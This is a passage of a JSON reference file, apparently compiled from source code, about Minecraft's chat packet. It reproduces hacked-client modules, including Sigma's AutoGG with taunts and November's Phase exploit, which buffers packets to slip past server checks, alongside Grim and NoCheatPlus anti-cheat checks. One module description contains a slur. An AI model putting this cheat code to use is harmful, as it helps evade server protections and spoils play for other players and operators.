settingKey;\n    public static boolean keysSet;\n    private static String MODE = \"MODE\";\n    private static String AUTOLMODE = \"AUTOLMODE\";\n    private static String L = \"L\";\n    String lastMeme = \"\";\n    String lastMeme2 = \"\";\n    String lastMeme3 = \"\";\n    ArrayList<String>memeQueue = new ArrayList<>();\n    public int multiKey;\n    public int single;\n    Timer timer = new Timer();\n    boolean mineplexL = false;\n    public AutoGG(ModuleData data) {\n        super(data);\n        settings.put(MODE, new Setting<>(MODE, new Options(\"Mode\", \"Hypixel\", new String[]{\"Hypixel\", \"Mineplex\", \"Cubecraft\"}), \"AutoGG server.\"));\n        settings.put(AUTOLMODE, new Setting<>(AUTOLMODE, new Options(\"AutoL\", \"Basic\", new String[]{\"Basic\", \"Sigmeme\", \"Penshen\"}), \"AutoL method.\"));\n        settings.put(L, new Setting<>(L, false, \"AutoL.\"));\n    }\n\n    @Override\n    public void onEnable() {\n        isSwapping = false;\n    }\n\n    @Override\n    @RegisterEvent(events = {EventPacket.class, EventTick.class})\n    public void onEvent(Event event) {\n    \tString currentmode = ((Options) settings.get(MODE).getValue()).getSelected();\n    \tString lmode = ((Options) settings.get(AUTOLMODE).getValue()).getSelected();\n    \tif(event instanceof EventTick){\n    \t\t\n    \t\tif(!memeQueue.isEmpty()){\n    \t\t\ttry{\n    \t\t\t\tif(mc.thePlayer.ticksExisted <= 3){\n        \t\t\t\tmemeQueue.clear();\n        \t\t\t}\n    \t\t\t\tlong timerV = 3200;\n    \t\t\t\tif(!currentmode.equalsIgnoreCase(\"Hypixel\"))\n    \t\t\t\t\ttimerV = 0;\t\t\t\t\n        \t\t\tif(timer.delay(timerV) && !memeQueue.isEmpty()){\n        \t\t\t\ttimer.reset();\n            \t\t\tString send = memeQueue.get(0);\n            \t\t\tChatUtil.sendChat(send);           \t\n            \t\t\tmemeQueue.remove(0);\n        \t\t\t}\n    \t\t\t}catch(ConcurrentModificationException e){\n    \t\t\t}\n    \t\t\t\n    \t\t\t\n    \t\t}\n    \t\tif(!(mc.currentScreen instanceof GuiIngameMenu) && !(mc.currentScreen instanceof GuiInventory) && mc.currentScreen !=null){\n    \t\t\tif(mineplexL){\n    \t\t\t\tmineplexL = false;\n    \t\t\t}\n    \t\t}\n    \t\tif(mc.theWorld == null){\n    \t\t\tmineplexL = false;\n    \t\t}\n    \t\t\n    \t\tif(timer.delay(5000) && mineplexL){\n    \t\t\tmineplexL = false;\n    \t\t\tChatUtil.sendChat(\"gg\");\n    \t\t}\n    \t}\n    \tif(event instanceof EventPacket){\n        EventPacket ep = (EventPacket) event;\n       \n        if(ep.isIncoming() && ep.getPacket() instanceof S02PacketChat){\n        \t\n        \tS02PacketChat packet = (S02PacketChat)ep.getPacket();\n        \tString message = packet.func_148915_c().getUnformattedText();\n        \t\n        \tif(currentmode.equalsIgnoreCase(\"Hypixel\")){\n        \tif((Boolean)settings.get(L).getValue()){\n        \t\tString[] strs = message.split(\" \");\n        \t\tif(message.toLowerCase().contains(\"was killed by \" + mc.thePlayer.getName().toLowerCase() + \".\") ||\n        \t\t\t\tmessage.toLowerCase().contains(\"was thrown into the void by \" + mc.thePlayer.getName().toLowerCase() + \".\")||\n        \t\t\t\tmessage.toLowerCase().contains(\"was thrown off a cliff by \" + mc.thePlayer.getName().toLowerCase() + \".\")){\n        \t\t\tint players = 0;\n        \t\t\ttry{\n        \t\t\t\tfor(Object o : mc.theWorld.loadedEntityList){\n            \t\t\t\tEntity e = (Entity)o;\n            \t\t\t\tif(e instanceof EntityPlayer){\n            \t\t\t\t\tEntityPlayer p = (EntityPlayer)e;\n            \t\t\t\t\tif(!AntiBot.getInvalid().contains(p) && !p.isInvisible()){\n            \t\t\t\t\t\tplayers ++;\n            \t\t\t\t\t}\n            \t\t\t\t}\n            \t\t\t}\n        \t\t\t}catch(ConcurrentModificationException e){\n        \t\t\t}\n        \t\t\t\n        \t\t\tif(players != 1 && players != 2){\n        \t\t\t\tsendL(lmode, message);\t\n        \t\t\t}\n        \t\t}\n        \t\t}\n        \t\n      \t\t\n        \tif((message.equals(\"You won! Want to play again? Click here! \")||\n        \t\t\tmessage.contains(\"coins! (Win)\"))){\n        \t\tmemeQueue.add(\"gg\");\n        \t}\n        \t}else if(currentmode.equalsIgnoreCase(\"Mineplex\")){\n        \t\tString[] teams = {\"Green\", \"Red\", \"Blue\", \"Yellow\"};\n        \t\tfor(int i =0; i < teams.length; i++){\n        \t\t\tif(message.equals(teams[i] + \" won the game!\")){\n        \t\t\t\ttimer.reset();\n        \t\t\t\tmineplexL = true;\n        \t\t\t}\n        \t\t}\n        \t\tif((Boolean)settings.get(L).getValue()){\n        \t\t\tif(message.toLowerCase().contains(\"killed by \" + mc.thePlayer.getName().toLowerCase() + \" \")){\n        \t\t\t\tsendL(lmode, message);\n        \t\t\t\t\t\n        \t\t\t}\n        \t\t}\n        \t}else if(currentmode.equalsIgnoreCase(\"Cubecraft\")){\n        \t\tif((Boolean)settings.get(L).getValue()){\n        \t\t\tif(message.toLowerCase().contains(\"was slain by \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"burned to death while fighting \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"was shot by \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"burnt to a crisp while fighting \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"couldn't fly while escaping \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"thought they could survive in the void while escaping \" + mc.thePlayer.getName().toLowerCase()) ||\n        \t\t\t   message.toLowerCase().contains(\"fell to their death while escaping \" + mc.thePlayer.getName().toLowerCase())){  \n        \t\t\t\tsendL(lmode, message);\n        \t\t\t}\n        \t\t}\n        \t\tif(packet.func_148915_c().getFormattedText().contains(\"§r§r§e\" + mc.thePlayer.getName() + \"§r§a won the game!§r\")){\n        \t\t\tmemeQueue.add(\"gg\");\n        \t\t}\n        \t}\n        \t}\n        }\n    }\n    \n    void sendL(String mode, String message){\n    \tString[] strs = message.split(\" \");\n\t\tswitch (mode){\n\t\tcase\"Basic\":{\n\t\t\tmemeQueue.add(\"L\" + \" \" + strs[0]);\n\t\t}\n\t\tbreak;\n\t\tcase\"Sigmeme\":{\n\t\t\tString phrase = Sigmeme.phrases.get((int) (Math.random() * Sigmeme.phrases.size()));\n\t\t\t\n\t\t\twhile(phrase.equalsIgnoreCase(lastMeme) || phrase.equalsIgnoreCase(lastMeme2) || phrase.equalsIgnoreCase(lastMeme3)){\n\t\t\t\tphrase = Sigmeme.phrases.get((int) (Math.random() * Sigmeme.phrases.size()));\n\t\t\t}\n\t\t\tString mm = ((Options) settings.get(MODE).getValue()).getSelected();\n\t\t\tif(mm.equalsIgnoreCase(\"Cubecraft\")){\n\t\t\t\tphrase = \"L\" + \" \" + strs[0];\n\t\t\t}\n\t\t\tmemeQueue.add(phrase);\n\t\t\tlastMeme = lastMeme2;\n\t\t\tlastMeme2 = lastMeme3;\n\t\t\tlastMeme3 = phrase;\n\t\t}\n\t\tbreak;\n\t\tcase\"Penshen\":{\n    \t\tString phrase = Sigmeme.penshen.get((int) (Math.random() * Sigmeme.penshen.size()));\n    \t\twhile(phrase.equalsIgnoreCase(lastMeme) || phrase.equalsIgnoreCase(lastMeme2) || phrase.equalsIgnoreCase(lastMeme3)){\n\t\t\t\tphrase = Sigmeme.penshen.get((int) (Math.random() * Sigmeme.penshen.size()));\n\t\t\t}\n\t\t\tmemeQueue.add(phrase);\n\t\t\tlastMeme = lastMeme2;\n\t\t\tlastMeme2 = lastMeme3;\n\t\t\tlastMeme3 = phrase;\n    \t\t\n    \t}\n\t\tbreak;\n\t\t}\n    }\n}\n// NOTE (AI): Sigma AutoGG detects match-end chat patterns and fires 'gg' via\n// ChatUtil.sendChat (vanilla sendChatMessage path) or the raw C01 path\n// sendChat_NoFilter, which bypasses the client-side command parser.",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/minigames/AutoGG.java",
      "vanilla_hook": "PacketSendEvent on other modules; ChatUtil call from AutoGG's chat receive handler.",
      "anti_cheat_notes": "No anti-cheat flags 'gg'. The interesting engineering detail is sendChat vs sendChat_NoFilter: going through sendChatMessage means a message starting with '.' would be eaten by the client command system, so auto-message modules use the NoFilter path to guarantee delivery.",
      "variations": "Rise 5.99/6.x AutoGroomer and AutoHypixel; Memeware 7.3 Spammer and DeathInsult; Sigma Sigmeme command injects a random meme phrase via a raw C01."
     },
     {
      "name": "CommandExecutor (dot-command dispatch)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Intercept every C01 and dispatch dot-prefixed messages to the client command registry, so client commands never reach the server.",
      "how_it_works": "The EventPacket.Out listener checks each C01; messages not starting with '.' pass through untouched. Dot messages are cancelled, trimmed, split on whitespace, and the first token is looked up in the CommandRegistry; dispatch runs with the remaining args, and syntax and argument exceptions are printed to chat. A command not found prints an error instead of sending the message.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/command/exec/CommandExecutor.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.command.exec;\n\nimport java.util.Arrays;\nimport lol.november.feature.command.Command;\nimport lol.november.feature.command.CommandRegistry;\nimport lol.november.feature.command.exceptions.CommandInvalidArgumentException;\nimport lol.november.feature.command.exceptions.CommandInvalidSyntaxException;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.utility.chat.Printer;\nimport lombok.extern.log4j.Log4j2;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Log4j2\npublic class CommandExecutor {\n\n  /**\n   * The prefix used to execute commands\n   */\n  private static final String COMMAND_PREFIX = \".\";\n\n  private CommandRegistry registry;\n\n  public CommandExecutor(CommandRegistry registry) {\n    this.registry = registry;\n  }\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C01PacketChatMessage packet) {\n      String message = packet.getMessage();\n      if (!message.startsWith(COMMAND_PREFIX)) return;\n\n      event.setCanceled(true);\n\n      String[] args = message\n        .substring(COMMAND_PREFIX.length())\n        .trim()\n        .split(\"\\\\s+\");\n      if (args.length == 0) return;\n\n      Command command = registry.get(args[0].toLowerCase());\n      if (command == null) {\n        Printer.print(\"No command was found with the name \\\"\" + args[0] + \"\\\"\");\n        return;\n      }\n\n      try {\n        log.info(\"Dispatching command {}\", command.getAliases()[0]);\n        command.dispatch(Arrays.copyOfRange(args, 1, args.length));\n      } catch (CommandInvalidSyntaxException e) {\n        Printer.print(\"Invalid argument \\\"\" + e.getArgument() + \"\\\".\");\n        Printer.print(\"Valid syntax: \" + command.getSyntax());\n      } catch (CommandInvalidArgumentException e) {\n        Printer.print(\"Invalid argument \\\"\" + e.getArgument() + \"\\\"\");\n        Printer.print(\"Details: \" + e.getDetails());\n      } catch (Exception e) {\n        log.error(\"Failed to dispatch command {}\", command.getAliases()[0]);\n        e.printStackTrace();\n        Printer.print(\"&cSomething went wrong, report this to the developers!\");\n      }\n    }\n  };\n}\n// NOTE (AI): The full command executor: every C01 is checked on the packet bus, dot-prefixed messages are cancelled and dispatched through the CommandRegistry with syntax and argument error reporting to chat. Messages without the prefix pass through.",
      "code_source": "November Recode 2.0, feature/command/exec/CommandExecutor.java",
      "vanilla_hook": "EventPacket.Out.",
      "anti_cheat_notes": "Invisible to the server: the cancelled packet never exists on the wire. The registry-based dispatch with exception reporting plays the same role as Memeware's Commands switch, but organized as a standalone executor class subscribed to the bus.",
      "variations": "November also ships IRCChatModule and AutoPlayModule on the same C01 surface; the eight classic clients implement command dispatch as a module, November as a separate executor."
     },
     {
      "name": "IRCChatModule (IRC bridge)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Redirect messages starting with '#' out of the game chat and into November's private IRC socket.",
      "how_it_works": "The EventPacket.Out handler matches C01, and when the message starts with '#', cancels the packet and sends the substring after the prefix through November.socket().sendIrcChat. The enable message tells the user the prefix. Messages without the prefix pass through untouched.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/player/IRCChatModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.player;\n\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.utility.chat.Printer;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"IRCChat\",\n  description = \"lets you talk to other retarded november users\",\n  category = Category.PLAYER\n)\npublic class IRCChatModule extends Module {\n\n  /**\n   * The IRC chat prefix\n   */\n  private static final String IRC_PREFIX = \"#\";\n\n  @Override\n  public void enable() {\n    super.enable();\n    Printer.irc(\"Talk in IRC chat with the prefix \" + IRC_PREFIX);\n  }\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (event.get() instanceof C01PacketChatMessage packet) {\n      if (!packet.getMessage().startsWith(IRC_PREFIX)) return;\n\n      event.setCanceled(true);\n\n      November\n        .socket()\n        .sendIrcChat(packet.getMessage().substring(IRC_PREFIX.length()));\n    }\n  };\n}\n// NOTE (AI): The full IRC bridge: a C01 whose message starts with '#' is cancelled and forwarded to the November IRC socket with the prefix stripped. The enable handler prints the prefix hint.",
      "code_source": "November Recode 2.0, feature/module/impl/player/IRCChatModule.java",
      "vanilla_hook": "EventPacket.Out.",
      "anti_cheat_notes": "Cancelling before the wire means the IRC traffic is invisible to the server; the module is a chat utility, not an exploit, and carries no anti-cheat surface.",
      "variations": "No other client in the corpus bridges chat packets to an external IRC socket; Sigma's Sigmeme command is the closest (injects a random meme as a raw C01)."
     },
     {
      "name": "AutoPlayModule (auto /play)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Automatically send the next-game command after a loss or win by replaying the chat click-event command as a C01.",
      "how_it_works": "The EventPacket.In handler scans S02 chat for the 'You won! Want to play again?' or 'You died!' line, walks the chat component siblings for a RUN_COMMAND click event, and stores its value. On EventUpdate, once the delay elapses, the stored command is queued as a fresh C01 via addToSendQueueSilent. BLOCKS_MC mode instead finds a paper item in the hotbar and sends C09 held-item change plus C08 placement.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/player/AutoPlayModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.player;\n\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.event.ClickEvent;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S45PacketTitle;\nimport net.minecraft.util.IChatComponent;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AutoPlay\",\n  description = \"Automatically plays the next game for you\",\n  category = Category.PLAYER\n)\npublic class AutoPlayModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.HYPIXEL);\n  private final Setting<Double> delay = new Setting<>(\n    \"Delay\",\n    1.5,\n    0.01,\n    0.0,\n    5.0\n  );\n\n  private final Timer timer = new Timer();\n  private String playCommand;\n  private int paperSlot;\n\n  @Override\n  public void disable() {\n    super.disable();\n    playCommand = null;\n\n    if (mode.getValue() == Mode.BLOCKS_MC && paperSlot != -1) {\n      November.instance().inventory().sync();\n    }\n\n    paperSlot = -1;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 10) {\n      paperSlot = -1;\n      playCommand = null;\n      return;\n    }\n\n    if (mode.getValue() == Mode.HYPIXEL || mode.getValue() == Mode.MUSH_MC) {\n      if (\n        playCommand == null ||\n        !timer.passed(delay.getValue().longValue() * 1000L)\n      ) return;\n\n      timer.reset();\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C01PacketChatMessage(playCommand)\n      );\n    } else if (mode.getValue() == Mode.BLOCKS_MC) {\n      if (paperSlot == -1) {\n        for (int i = 0; i < 9; ++i) {\n          ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n          if (itemStack != null && itemStack.getItem() == Items.paper) {\n            paperSlot = i;\n            timer.reset();\n            break;\n          }\n        }\n\n        return;\n      }\n\n      if (!timer.passed(delay.getValue().longValue() * 1000L)) return;\n\n      timer.reset();\n\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C09PacketHeldItemChange(paperSlot)\n      );\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C08PacketPlayerBlockPlacement(\n          November.instance().inventory().itemStack()\n        )\n      );\n      November.instance().inventory().sync();\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mode.getValue() == Mode.HYPIXEL) {\n      if (event.get() instanceof S02PacketChat packet) {\n        if (packet.getChatComponent() == null) return;\n\n        String raw = packet.getChatComponent().getUnformattedText();\n        if (\n          raw.contains(\"You won! Want to play again? Click here! \") ||\n          raw.contains(\"You died! Want to play again? Click here! \")\n        ) {\n          timer.reset();\n\n          for (IChatComponent component : packet\n            .getChatComponent()\n            .getSiblings()) {\n            if (\n              component.getUnformattedText().contains(\"Click here!\") &&\n              component.getChatStyle().getChatClickEvent() != null\n            ) {\n              ClickEvent clickEvent = component\n                .getChatStyle()\n                .getChatClickEvent();\n              if (clickEvent.getAction() == ClickEvent.Action.RUN_COMMAND) {\n                playCommand = clickEvent.getValue();\n                timer.reset();\n                return;\n              }\n            }\n          }\n        }\n      } else if (event.get() instanceof S45PacketTitle packet) {\n        if (packet.getMessage() == null) return;\n      }\n    }\n  };\n\n  private enum Mode {\n    HYPIXEL,\n    BLOCKS_MC,\n    MUSH_MC,\n  }\n}\n// NOTE (AI): The full AutoPlay module: the win or loss chat line is parsed for a RUN_COMMAND click event, the command is stored, and after a configurable delay it is sent as a fresh C01 through addToSendQueueSilent. The BLOCKS_MC mode swaps in a paper-item C09 and C08 sequence instead.",
      "code_source": "November Recode 2.0, feature/module/impl/player/AutoPlayModule.java",
      "vanilla_hook": "EventPacket.In (S02 scan), EventUpdate (send timer).",
      "anti_cheat_notes": "The replayed command arrives after a human-like delay; sending it silently bypasses the client command parser so a '/play ...' value is never eaten client-side. No anti-cheat surface.",
      "variations": "This is the auto-command family that Sigma's AutoGG and Rise's AutoHypixel cover in the classic clients; November's version extracts the exact RUN_COMMAND value from the chat component tree."
     },
     {
      "name": "PhaseModule (cage phase buffer)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "While phasing through the glass cage, buffer every outgoing packet except C01 chat, so the chat stream stays live during the phase.",
      "how_it_works": "CAGE_PHASE mode removes the glass block client-side when the player stands on BlockGlass with 20 or more ticks since the last S08 setback, then the EventPacket.Out handler cancels and queues every packet while cagePhasing is true, with an explicit early return for C01PacketChatMessage so chat always passes. On disable the queue is drained via addToSendQueueSilent and the glass block is restored from the saved state.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/exploit/PhaseModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.exploit;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport net.minecraft.block.BlockGlass;\nimport net.minecraft.block.state.IBlockState;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.util.BlockPos;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"Phase\",\n  description = \"Phases through blocks\",\n  category = Category.EXPLOIT\n)\npublic class PhaseModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.CAGE_PHASE);\n  private final Setting<Server> server = new Setting<>(\n    \"Server\",\n    Server.BLOCKS_MC\n  );\n\n  private final Queue<Packet<?>> packetQueue = new ConcurrentLinkedQueue<>();\n  private int ticksSinceLastSetback = -1;\n\n  private BlockPos phasePos;\n  private IBlockState phaseState;\n  private boolean cagePhasing, canPhase = true;\n\n  @Override\n  public void enable() {\n    super.enable();\n    canPhase = server.getValue() == Server.GENERIC;\n  }\n\n  @Override\n  public void disable() {\n    super.disable();\n\n    if (mc.thePlayer != null && !packetQueue.isEmpty()) {\n      while (!packetQueue.isEmpty()) {\n        mc.thePlayer.sendQueue.addToSendQueueSilent(packetQueue.poll());\n      }\n    }\n\n    packetQueue.clear();\n    ticksSinceLastSetback = -1;\n\n    if (cagePhasing) {\n      if (phasePos != null && phaseState != null) {\n        mc.theWorld.setBlockState(phasePos, phaseState);\n      }\n\n      cagePhasing = false;\n      phasePos = null;\n      phaseState = null;\n    }\n\n    canPhase = true;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 5) {\n      packetQueue.clear();\n      ticksSinceLastSetback = 0;\n      phaseState = null;\n      phasePos = null;\n      cagePhasing = false;\n\n      canPhase = server.getValue() == Server.GENERIC;\n\n      return;\n    }\n\n    ticksSinceLastSetback++;\n\n    if (mode.getValue() == Mode.CAGE_PHASE) {\n      if (\n        ticksSinceLastSetback < 20 || !mc.thePlayer.onGround || !canPhase\n      ) return;\n\n      if (!cagePhasing) {\n        BlockPos under = new BlockPos(mc.thePlayer.getPositionVector()).down();\n        IBlockState state = mc.theWorld.getBlockState(under);\n        if (state.getBlock() instanceof BlockGlass) {\n          cagePhasing = true;\n          mc.theWorld.setBlockToAir(under);\n\n          // Printer.print(\"Phased through glass\");\n\n          phasePos = under;\n          phaseState = state;\n        }\n      } else {\n        if (phasePos != null && phaseState != null) {\n          // Printer.print(\"Replaced glass to not desync\");\n          mc.theWorld.setBlockState(phasePos, phaseState);\n          phaseState = null;\n        }\n      }\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.Out> packetOut = event -> {\n    if (mc.thePlayer == null || mc.thePlayer.ticksExisted < 10) return;\n\n    if (cagePhasing) {\n      if (event.get() instanceof C01PacketChatMessage) return;\n      event.setCanceled(true);\n      packetQueue.add(event.get());\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (event.get() instanceof S08PacketPlayerPosLook) {\n      ticksSinceLastSetback = 0;\n      // Printer.print(\"Setback\");\n    } else if (event.get() instanceof S02PacketChat packet) {\n      if (mode.getValue() != Mode.CAGE_PHASE) return;\n\n      String raw = packet.getChatComponent().getUnformattedText();\n\n      if (server.getValue() == Server.HYPIXEL) {\n        // TODO\n      } else if (server.getValue() == Server.BLOCKS_MC) {\n        if (raw.contains(\"Cages open in: 2 seconds!\")) {\n          canPhase = true;\n        } else if (raw.contains(\"Cages opened! FIGHT!\")) {\n          setState(false);\n        }\n      }\n    }\n  };\n\n  private enum Mode {\n    CAGE_PHASE,\n  }\n\n  private enum Server {\n    GENERIC,\n    BLOCKS_MC,\n    HYPIXEL,\n  }\n}\n// NOTE (AI): The full Phase module: CAGE_PHASE removes the glass under the player, buffers every outgoing packet except C01 while active, restores the block state on disable, and drains the queue through addToSendQueueSilent. The C01 early return at line 126 is the corpus hit.",
      "code_source": "November Recode 2.0, feature/module/impl/exploit/PhaseModule.java",
      "vanilla_hook": "EventPacket.Out (buffer with C01 exemption), EventPacket.In (S08 setback counter, S02 cage messages), EventUpdate (state machine).",
      "anti_cheat_notes": "The C01 exemption is the corpus hit: chat is deliberately not buffered because a missing chat stream during the phase would look dead to the server; everything else is held and replayed in order.",
      "variations": "November's phase buffers the whole stream and restores the block client-side; the classic clients' Phase modules use teleport or collision edits instead."
     }
    ],
    "general_hooks": "PacketSendEvent is universal. The vanilla send path is EntityPlayerSP.sendChatMessage; modules that want to bypass client-side command parsing construct C01 directly.",
    "client_variations": "Memeware/Nekoware mutate or cancel the packet inside the event. Rise 5.99/6.x call event.setPacket to swap in a rewritten packet. Sigma routes through ChatUtil helpers so the rest of the client never touches packet construction. November Recode 2.0 intercepts C01 on EventPacket.Out across CommandExecutor, IRCChatModule, AutoPlayModule and PhaseModule, and queues generated chat via addToSendQueueSilent; LuaEventPacket maps C01 to id 0x01. LiquidSense Dev's only C01 reference is an unused import in AntiBot.java, whose addChatMessage calls are client-side chat text, so it contributes no chat packet module.",
    "related": [
     "S02PacketChat",
     "S42PacketCombatEvent",
     "C00PacketKeepAlive"
    ],
    "anticheat": {
     "overview": "The chat message packet carries every chat line and command the player types, which makes it the input surface for chat spam, captcha systems and text-based exploit attempts. Server-side anticheats split into two families: event-based chat systems that hook the Bukkit chat pipeline, and raw packet checks that validate the message bytes before the server processes them. The packet also carries the commands that log4j and similar exploits are delivered through, so payload scanning of chat is a standard mitigation.",
     "checks": [
      {
       "name": "ChatB (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Rejects chat messages and commands that the vanilla server would never accept, closing the spigot antispam bypass.",
       "how_it_works": "PreViaPacketReceiveListener that decodes CHAT_MESSAGE, CHAT_COMMAND and CHAT_COMMAND_UNSIGNED. A chat message is invalid if it is empty, has leading or trailing whitespace, or starts with / on 1.19+ where commands have their own packet. Commands are invalid if they carry trailing or surrounding whitespace. On flag it cancels the packet and calls onPacketCancel so downstream state stays consistent. The comment notes click-event edge cases can false flag on badly configured servers.",
       "detects": "Empty or whitespace-padded chat messages, spigot antispam bypasses that smuggle text via formatting, and malformed command packets.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatB.java =====\npackage ac.grim.grimac.checks.impl.chat;\n\nimport ac.grim.grimac.api.storage.verbose.Verbose;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.CheckData;\nimport ac.grim.grimac.checks.type.PreViaPacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientChatCommand;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientChatCommandUnsigned;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientChatMessage;\n\n// this can false from click events, but I doubt this would actually\n// happen unless they're trying to flag, or if the server is set up badly\n@CheckData(name = \"ChatB\", stableKey = \"grim.exploit.spigot_antispam_bypass\", description = \"Invalid chat message\")\npublic class ChatB extends Check implements PreViaPacketReceiveListener {\n    private static final Verbose V = Verbose.of(\"[message|command]={str}\");\n\n    public ChatB(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPreViaPacketReceive(PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CHAT_MESSAGE) {\n            String message = new WrapperPlayClientChatMessage(event).getMessage();\n            if (message.isEmpty() || !message.trim().equals(message)\n                    || message.startsWith(\"/\") && player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_19)) {\n                if (flag(V.write(verbose()).bool(true).str(message)) && shouldModifyPackets()) {\n                    player.onPacketCancel();\n                    event.setCancelled(true);\n                }\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.CHAT_COMMAND_UNSIGNED) {\n            String command = \"/\" + new WrapperPlayClientChatCommandUnsigned(event).getCommand();\n            if (!command.stripTrailing().equals(command) && flag(V.write(verbose()).bool(false).str(command))) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n        }\n\n        if (event.getPacketType() == PacketType.Play.Client.CHAT_COMMAND) {\n            String command = \"/\" + new WrapperPlayClientChatCommand(event).getCommand();\n            if (!command.trim().equals(command) && flag(V.write(verbose()).bool(false).str(command))) {\n                event.setCancelled(true);\n                player.onPacketCancel();\n            }\n        }\n    }\n}\n\n// NOTE (AI): Grim runs this as a pre-Via check so the message is validated before any protocol translation.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/chat/ChatB.java",
       "variations": "BetterAnticheat ImpossibleMessageCheck flags empty and space-prefixed messages, Photon ImpossibleChat flags chat while sprinting or in an inventory, and Kauri Log4J scans the message for JNDI syntax."
      },
      {
       "name": "ChatListener (NoCheatPlus)",
       "found_in": [
        "Updated-NoCheatPlus-NoCheatPlus"
       ],
       "purpose": "The classic chat pipeline: captcha, text spam, command spam, relog and login-rate checks dispatched from the Bukkit chat events.",
